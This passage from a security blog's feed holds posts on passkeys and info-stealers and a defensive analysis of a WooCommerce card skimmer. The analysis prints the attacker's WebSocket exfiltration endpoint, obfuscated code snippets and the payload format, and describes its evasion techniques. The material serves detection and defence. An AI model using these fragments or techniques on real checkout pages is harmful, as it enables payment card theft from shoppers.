href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Content Security Policy</a> deployed and get real-time feedback from the browser about what's happening in the page as your visitors see it.</li><li>Use our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">JavaScript Integrity Monitoring</a> to keep track of your third-party JavaScript dependencies, and when they change. </li><li>Audit the use of Subresource Integrity across your site using <a href=\"https://report-uri.com/products/integrity_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Integrity Policy</a> and keep your JavaScript Supply Chain secure. </li><li>Deploy a <a href=\"https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Permissions Policy</a> on your site and lock down the use of powerful JavaScript APIs.</li></ul><p></p><p>We’ve also put together a dedicated <a href=\"https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys solutions page</a> and whitepaper for teams who want practical guidance on finding and reducing these risks.</p><p></p><h3 id=\"conclusion\">Conclusion</h3><p>Using <code>attestation: \"none\"</code> isn't a problem, it's a trade-off between security and convenience. The hidden risk is overlooking the threat of a page-level adversary, who is always going to cause you problems, but they can cause some particularly big problems when it comes to passkeys.</p><p>Passkeys remain the right direction, and I want to see widespread adoption of them, but the security boundary they replace (passwords) was a single secret on the wire. The boundary they introduce, a ceremony brokered by the user agent, only holds if the user agent, and everything injected into it, can be trusted. This is why XSS becomes deadly to passkeys.</p><p></p><p></p>\n<!--kg-card-begin: html-->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js\" integrity=\"sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-http.min.js\" integrity=\"sha512-3KphgbiKTzK2CNxlSgUKypipTV7tWknO5czNb+E7H4CeHOOSer2s2rIOCTuz8NsY1zm+B9tP9Ul2JX/tmdyOYg==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js\" integrity=\"sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js\" integrity=\"sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<!--kg-card-end: html-->\n<p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "XSS",
              "term": "XSS",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        },
        {
          "id": "6a060a6ed5ad2e0001eb50ed",
          "title": "Passkeys 101: An Introduction to Passkeys and How They Work",
          "description": "<p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be</p>",
          "url": "https://scotthelme.ghost.io/passkeys-101-an-introduction-to-passkeys-and-how-they-work/",
          "published": "2026-05-18T09:16:29.000Z",
          "updated": "2026-05-18T09:16:29.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png\" alt=\"Passkeys 101: An Introduction to Passkeys and How They Work\"><p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be seriously considering support for them.</p><p></p><h3 id=\"why-passwords-are-a-problem\">Why passwords are a problem</h3><p>I think anyone reading this blog post will understand why passwords are a problem, but I'm going to outline it here to set the scene for why passkeys are such a huge improvement. The truth is, passwords can be a pain, and we've been fighting that pain for decades. We’ve battled password strength requirements, password reuse, credential stuffing, password spraying, database leaks, trivial phishing, and the recent rise of info-stealer malware. We’ve also had to build layers of defensive engineering around passwords, like salting, hashing, breached-password checks, and stronger password policies, just to make them survivable. The truth is, we've been using passwords for so long because they were the best thing we had, not because they're great. </p><p>I first wrote about password security all the way back in 2013 (<a href=\"https://scotthelme.co.uk/password-security/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a>) and much more recently we've had to bring a sharp focus on our handling of passwords at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>. I covered this in <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Boosting password security! Pwned Passwords, zxcvbn, and more!</a> and then <a href=\"https://scotthelme.co.uk/under-attack-responding-to-the-rise-of-info-stealer-threats/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Under Attack: Responding to the Rise of Info-Stealer Threats</a> in just the last few months. Passwords continue to be a problem! 2FA has helped, and provided a much needed crutch for passwords over the years, but it doesn't solve the phishing problem which is arguably one of the biggest risks with passwords and current generation 2FA as my good friend Troy Hunt found out last year when he got his <a href=\"https://www.troyhunt.com/a-sneaky-phish-just-grabbed-my-mailchimp-mailing-list/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">password and TOTP phished</a>. We need something better, much better.</p><p></p><h3 id=\"what-are-passkeys\">What Are Passkeys?</h3><p>In really simple terms, passkeys are another way to authenticate a user. Just as a website might ask me for my username and password to authenticate me and log me in, they can instead rely on passkeys to do that, but with some considerable advantages. At their core, passkeys are just a pair of cryptographic keys, a public key and a private key. As their names would imply, the public key can be made public and shared with the website, whilst the private key remains private and secure on your device, not being shared with anyone. In many cases, that private key is protected by the same mechanism you already use to unlock your device or password manager, such as biometrics, a PIN, or a local device unlock.</p><p></p><h3 id=\"how-passkeys-work-at-a-high-level\">How Passkeys Work at a High Level</h3><p>It's surprisingly easy to give an overview of how passkeys work, both in terms of creating a passkey, and then using that passkey to access your account. Here's a diagram that details the entire process.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png\" class=\"kg-image\" alt=\"Passkeys 101: An Introduction to Passkeys and How They Work\" loading=\"lazy\" width=\"1742\" height=\"1307\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/05/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png 1742w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>The first step of this process is known as Registration. This is when you create your key pair, securely store your private key on your device and share your public key with the website in question. The website will then store this public key against your account so they know it's yours. The passkey has now been registered and is ready to use!</p><p>The second step of the process is Authentication. This is when you then come to prove who you are by utilising your previously registered passkey. The website will issue a challenge to you and you must sign that challenge with your private key. You then return this signed challenge to the website which can validate that signature with your public key. This proves that whoever the website is talking to can use the private key associated with that account. Because the private key is protected by your device or passkey provider, that gives the website strong evidence that it is talking to you.</p><p></p><h3 id=\"why-passkeys-are-better\">Why Passkeys Are Better</h3><p>There are a few different areas where passkeys excel when compared to passwords, and each of them is compelling, so I'm going to talk about all of the main advantages.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">Phishing Resistance</h4>\n<!--kg-card-end: html-->\n<p>Undoubtedly, this has to be the single biggest advantage of using passkeys; they are incredibly resistant to phishing. You can be tricked into giving up your password by mistake, you can be tricked into giving up your 6-digit TOTP code by mistake, but you can't be tricked into giving up your passkey by mistake. When you register your passkey and it's stored on your device, your device will lock that passkey to the origin that it can be used for. That means if you create a passkey on <code>report-uri.com</code>, but then find yourself on a phishing website like <code>rep0rt-ur1.com</code> that's impersonating us and is trying to phish your credentials, your device will simply not allow you to use your passkey because you are not in the right place. Your device now knows where your passkey can be used, and it will not let you use it anywhere else, which is a protection that can't be offered for passwords.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No More Weak Passwords</h4>\n<!--kg-card-end: html-->\n<p>Everyone knows that we can create weak passwords if we wanted to, but you can't create a weak passkey. Because the generation of the passkey is handled by your device, you can be sure that you're always generating a strong passkey and don't run into similar risks posed by using a weak password. Nobody is going to be able to guess your passkey like they might be able to guess a weak password, because you'll never have a weak passkey.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No More Password Reuse</h4>\n<!--kg-card-end: html-->\n<p>There's nothing stopping you from reusing your password across different services, but your device is required to create a new, unique passkey for each website that you register with. This means that there are no shared passkeys across different services and another category of risk is eliminated.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No More Credential Stuffing or Password Spraying</h4>\n<!--kg-card-end: html-->\n<p>Largely as a consequence of the above two points, an attacker can't use these two common and effective strategies for trying to gain access to accounts that they shouldn't have access to. With no more weak and/or reused credentials, you can say goodbye to some pretty serious problems.</p><p></p>\n<!--kg-card-begin: html-->\n<h4 style=\"font-size: 2.1rem;\">No Shared Secret in your Database</h4>\n<!--kg-card-end: html-->\n<p>When adding a passkey to an account, the website is required to store the public key in their database. The public key, as we mentioned and as hinted by its name, is not a secret! This means that in the event of a database breach, there isn't an additional piece of sensitive information in there to be compromised and all the attacker has managed to gain access to is the public key of the user. The private key remains safe and secure on the user's device that created it.</p><p></p><h3 id=\"conclusion\">Conclusion</h3><p>Passkeys are a major step forward, but they aren't magic. They remove many password-era risks, especially phishing and credential reuse, but they also introduce new implementation and threat-model questions. I’ll be digging into one of those in much more detail in my next post.</p><p>We recently launched support for passkeys on Report URI and you can read about that here: <a href=\"https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Launching Passkeys support on Report URI!</a> We also had our passkeys implementation penetration tested, <a href=\"https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Bringing in the experts; Having our Passkeys implementation Security Tested</a>. As you can see, we're pretty serious about passkeys!</p><p>With that said, there are some new considerations and risks that using passkeys brings, and I've just started to cover those in <a href=\"https://scotthelme.co.uk/security-considerations-when-using-passkeys-on-your-website/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Security considerations when using Passkeys on your website</a>. That blog post links out to our whitepaper on the problem, but I will also be writing a more detailed blog post with some new information in the coming days, so make sure to subscribe so you're notified when I publish that!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            }
          ]
        },
        {
          "id": "69ef62b5417e7e00019a58ca",
          "title": "Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive",
          "description": "<p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach</p>",
          "url": "https://scotthelme.ghost.io/anatomy-of-a-woocommerce-skimmer-a-technical-deep-dive/",
          "published": "2026-05-15T14:22:57.000Z",
          "updated": "2026-05-15T14:22:57.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png\" alt=\"Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive\"><p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach that remains invisible until long after the damage is done.</p><p>We recently became aware of exactly this kind of compromise, where an attacker modified a JavaScript file on disk and injected malware into it. At first glance, that might seem like an unusual choice. If an attacker has enough access to modify files on the server, why settle for injecting JavaScript into an existing library?</p><p>In this case, there’s a very good reason: the data they wanted to steal only existed in the browser, so that's where their malicious code needed to run.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png\" class=\"kg-image\" alt=\"Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"an-unusual-choice\">An unusual choice</h3><p>If I'd found a way to compromise a host to the point where I could modify files on disk, I'm not sure that injecting JavaScript malware into an existing file would be my first choice when it came to deciding my course of action. Yet, here we are!</p><p>Looking at the website in question, my best guess would be a vulnerable WordPress plugin has allowed some level of remote access to the attackers and they've leveraged that to modify an existing JS file. The compromised file was an existing and legitimate JS library, and the malware was injected at the start of the file, leaving the original library code intact later in the file. This is a common tactic aimed at reducing the disruption the injection causes as all original functionality remains, reducing the likelihood of being discovered.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png\" class=\"kg-image\" alt=\"Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive\" loading=\"lazy\" width=\"1693\" height=\"774\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/image-8.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png 1693w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Given that their goal was clearly to skim payment card data, it also explains why their chosen course of action was to modify an existing JS asset rather than leverage much more powerful server-side access: The payment card data doesn't exist on the server, only on the client, so that's where they have to target it!</p><p></p><h3 id=\"evasion-and-anti-detection-techniques\">Evasion and Anti-Detection Techniques</h3><p>Rather than add their own file to the page and load the malware in that way, the attackers inserted their code in an existing file, and did so in a way that would not interrupt how it worked. The injected code uses a rotating string array with RC4 encryption and per-call decryption keys (the same technique used by<br>professional JavaScript obfuscation products!), and a reversed, base64-encoded C2 URL:</p><pre><code>c3cvbW9jLm5kYy10c2V1cWVyLy86c3N3\nsw/moc.ndc-tseuqer//:ssw\nwss://request-cdn.com/ws</code></pre><p></p><p>On top of this, after the malicious code establishes its WebSocket connection, it then removes itself to avoid detection.</p><p></p><h3 id=\"data-theft\">Data Theft</h3><p>Looking at the code and the fields on the page that it targets, it's pretty clear it's specifically designed for WooCommerce checkouts. The CSS selectors include every standard checkout field like <code>#billing_</code><em>, <code>#shipping_</code>, </em>etc... Not only is it targeting specific fields, the skimmer isn't just blindly exfiltrating data, it's doing validation on the data before it exfiltrates it. For the card number, it's using the <a href=\"https://en.wikipedia.org/wiki/Luhn_algorithm?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Luhn Algorithm</a> to check that it's a valid card number, and it's also validating that the expiry date is a date in the future too!</p><p>On top of the desirable card data, it's also capturing other identity data that is present alongside the card data. This potentially includes your email address, phone number, full address including street/city/postcode/country, your browser UA and the hostname of the site. The code polls these fields in a loop every 500ms, presumably to catch autofill, paste, or JS-set values that don't trigger input or change events, but also progressively captures the data as you're typing, meaning it doesn't rely on an action like form submission for the exfiltration of complete data to happen. If you type in all of your card details and then have second thoughts about your purchase, it's already too late!</p><p>The final point that stood out to me is that the skimmer keeps a local record of card data that's already been stolen in localStorage, so if you were to return to the site and make another purchase using the same payment card, the skimmer wouldn't steal it a second time. How nice of them. </p><p></p><h3 id=\"data-exfiltration-mechanism\">Data Exfiltration Mechanism</h3><p>Once the skimmer has identified some data that passes local validation and it wants to exfiltrate that data, it does so via a WebSocket over TLS. The data is sent to <code>wss://request-cdn.com/ws</code> in real-time using a simple JSON payload. </p><p></p><pre><code class=\"language-json\">{\n    \"method\": \"data\",\n    \"host\": \"victim-site.com\",\n    \"data\": \"*card data here*\"\n}</code></pre><p></p><p>Although TLS protects the transmission itself, any security tool terminating and inspecting outbound TLS could still spot payment card data leaving the browser. To avoid this, the malware hides the card data by encrypting it with AES-256-GCM using a PBKDF2-derived key (100,000 iterations, SHA-256) before being sent, and the decryption key (<code>e2c6b94cc6b4</code>)  is embedded in the payload. This isn't an additional security mechanism to protect the card data, this is another evasion technique.</p><p>Along with a buffer in <code>localStorage</code> to handle multi-step payment flows or interruptions, a keepalive ping on the WebSocket, and even reconnection logic with backoff handling, I'd say there's a robust strategy in place to make sure this data is going to be exfiltrated!</p><p></p><h3 id=\"infrastructure\">Infrastructure</h3><p>C2 domain: <code>request-cdn.com</code> (mimics a CDN, registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code><br>Protocol: WebSocket over TLS (wss://)<br>Campaign ID: <code>e2c6b94cc6b4</code> (used as encryption key, unique per victim site)<br>Target platform: WooCommerce (WordPress)<br>Delivery vehicle: Modified <code>blazy.min.js</code> theme asset</p><p></p><h3 id=\"code-obfuscation-techniques\">Code Obfuscation Techniques</h3><p>I mentioned that the code obfuscation being used was quite advanced and whilst I don't want to delve into it too much as it doesn't really affect the outcome or the purpose of this script, I thought it was interesting and worth covering at a high level.</p><p>Any readable string in the code — method names, property names, URLs, algorithm names — are stripped out and dumped into a single, giant array. Instead of the code saying something like:</p><p></p><pre><code>localStorage.setItem('TTxxp', data);\nnew WebSocket('wss://request-cdn.com/ws');</code></pre><p></p><p>Every string is replaced with a function call that looks up the array at runtime:</p><p></p><pre><code>localStorage[R(0x22b,'73VL')](R(0x1aa,'N@oZ'), data);\nnew WebSocket(R(0x26d,'Mb$3'));</code></pre><p></p><p>There are no readable strings <em>anywhere</em> in the code. A human reading it sees nothing but hex numbers and short, random-looking keys.</p><p>The strings in the array aren't stored in plain text either — they're individually encrypted using the RC4 stream cipher. So, even if you dump the array, you just get a list of random-looking base64 blobs like these:</p><p></p><pre><code>'WQtdUGxdQSodW7a', 'p0hdIL5wlCoP', 'W5iRx8oghaRdMq' ...</code></pre><p></p><p>The <code>R()</code> function, or <code>a0j()</code> in the loader, decrypts each entry on demand using a two-step process — first base64-decode the blob, then run RC4 on it to get the<br>plaintext back. To make this even more tricky, the payload uses per-call decryption keys. Each call to R() passes a different key:</p><p></p><pre><code>R(0x22b, '73VL') // → \"setItem\"\nR(0x1aa, 'N@oZ') // → \"TTxxp\"\nR(0x26d, 'Mb$3') // → \"wss://\"</code></pre><p></p><p>The second argument (<code>'73VL'</code>, <code>'N@oZ'</code>, <code>'Mb$3'</code>) is the RC4 key for that specific string. Every string in the array is encrypted with a different key, hardcoded at its<br>call site. This means:</p><ol><li>We couldn't decrypt the whole array in one go — you need to know which key goes with which index and use the right one.</li><li>Automated tools that try to extract string arrays will get garbage unless they also trace every individual call.</li></ol><p></p><p>Further to this, at start up, the payload runs through a self-checking loop and shuffles/rotates the array.</p><p></p><pre><code>while(!![]){\ntry {\nconst j = parseInt(...) / 1 + parseInt(...) / 2 * ...\nif(j === 0x87dfa) break;\nelse S'push';\n} catch(c) { S'push'; }\n}</code></pre><p></p><p>It keeps rotating the array — moving the first element to the end, over and over — until a specific arithmetic check across multiple entries produces the exact target<br>value of <code>0x87dfa</code>. This means:</p><ol><li>The array indices in source code don't correspond to their actual positions until the correct rotation is found.</li><li>You can't statically know which entry is at index 28 without running or simulating the shuffle to completion.</li><li>It defeats simple array extraction because the indices only make sense after rotation</li></ol><p></p><p>All in all, there are some pretty advanced techniques at play here, all designed to make it more difficult to detect and stop this attack.</p><p></p><h3 id=\"how-report-uri-would-have-caught-this\">How Report URI would have caught this</h3><p>This is <em>exactly</em> the kind of attack Report URI can catch — and it would have tripped two separate alarms. <a href=\"https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP Integrity</a> fingerprints your JavaScript assets using our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">JavaScript Integrity Monitoring</a> feature so you can know the instant one of your JS assets changes; the moment <code>blazy.min.js</code> was modified on disk and served to the very first visitor, you'd have known. If that wasn't enough, the exfil itself was loud: a CSP with <code>connect-src</code> scoped to your own infrastructure blocks the <code>wss://request-cdn.com/ws</code> connection outright, stopping the exfiltration, and Report URI's reporting endpoint surfaces the violation the first time a victim hits checkout and sends you a notification. Either control on its own detects or stops this campaign; together they provide robust protection. If you run WooCommerce — or any page where payment card data touches the browser — these controls aren’t nice-to-haves. They’re the difference between spotting a compromise within minutes, or discovering it months later during breach notifications, chargebacks, or forensic investigation.</p><p></p><h3 id=\"indicators-of-compromise\">Indicators of Compromise</h3><p>C2 Domain: <code>request-cdn.com</code> (registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href=\"https://report-uri.com/?utm_source=scotthelme.co.uk\">Report URI</a>. Our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk\">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry immediately.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "magecart",
              "term": "magecart",
              "url": null
            },
            {
              "label": "WooCommerce",
              "term": "WooCommerce",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            }
          ]
        },
        {
          "id": "69bbb64cbfb9340001a6c265",
          "title": "Under Attack: Responding to the Rise of Info-Stealer Threats",
          "description": "<p>We recently received a claim that <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-</p>",
          "url": "https://scotthelme.ghost.io/under-attack-responding-to-the-rise-of-info-stealer-threats/",
          "published": "2026-05-11T13:10:11.000Z",
          "updated": "2026-05-11T13:10:11.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\"><p>We recently received a claim that <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-stealer malware: compromised devices where usernames, passwords, cookies and other sensitive data had been harvested. This post walks through what happened, why our existing controls helped but we wanted to improve, and the new account lockout process we’ve introduced as a result.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"info-stealers\">Info Stealers</h3><p>The first thing we need to do is understand the specific threat we're dealing with here. Info Stealers are a serious problem for services like ours because of how they operate. Info-stealer malware will infect a device and then start to harvest sensitive data from that device, which could include anything like usernames, passwords, payment card details, cookies from your browser, documents, and much, much more. If one of our customers is using a device that has been infected with info-stealer malware, our primary concern is that the account credentials have been compromised, which is what happened in this case. The email address and password for a Report URI account is accessed by the malware on the user's device when it is used to login...</p><p>As a website operator, despite the multiple layers of account security we have, no online service can fully defend against this type of threat. If the user's device is compromised and their account credentials are harvested directly from it, we have to acknowledge the limits of our own capabilities as a website, and that those credentials are going to be taken.</p><p></p><h3 id=\"existing-account-security-controls\">Existing Account Security Controls</h3><p>We're pretty open about how we do things at Report URI, and we've already published a lot of information about how we handle account security. You can read my full blog post on <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">boosting password security</a>, but here's a summary of the existing measures we have in place:</p><p></p><h4 id=\"zxcvbn\">zxcvbn</h4><p>If you haven't heard of <a href=\"https://github.com/dropbox/zxcvbn?utm_source=scotthelme.co.uk\" rel=\"noreferrer\">zxcvbn</a>, you should absolutely go and check it out. It's a reliable password strength estimator created by Dropbox, and we use it to test how strong a password is when a user is trying to use it. If the password doesn't meet our complexity requirements, it isn't allowed to be used.</p><p></p><h4 id=\"password-managers\">Password Managers</h4><p>We have a variety of different measures in place to improve the effectiveness of Password Managers. On form elements we tell a password manager to create a <em>crazy</em> strong password, we provide information on where our password change endpoints are so it can be done automatically by your password manager, we hint which account is currently logged in so password managers know which entry to use, and a whole range of other quality of life attributes.</p><p></p><h4 id=\"two-factor-authentication\">Two-Factor Authentication</h4><p>We support TOTP 2FA on Report URI, and organisations have the ability to require that their team members have 2FA enabled on their account to access company data. We strongly recommend that any user has 2FA enabled, and you should keep an eye out for 2FA related announcements in the next week or so...</p><p></p><h4 id=\"password-hashing\">Password Hashing</h4><p>When storing user passwords, we hash them with the bcrypt hashing algorithm, configured with a work factor of 10 and a 128-bit salt. In our chosen language of PHP, that looks like this:</p><pre><code class=\"language-php\">password_hash($password, PASSWORD_DEFAULT)</code></pre><p></p><h4 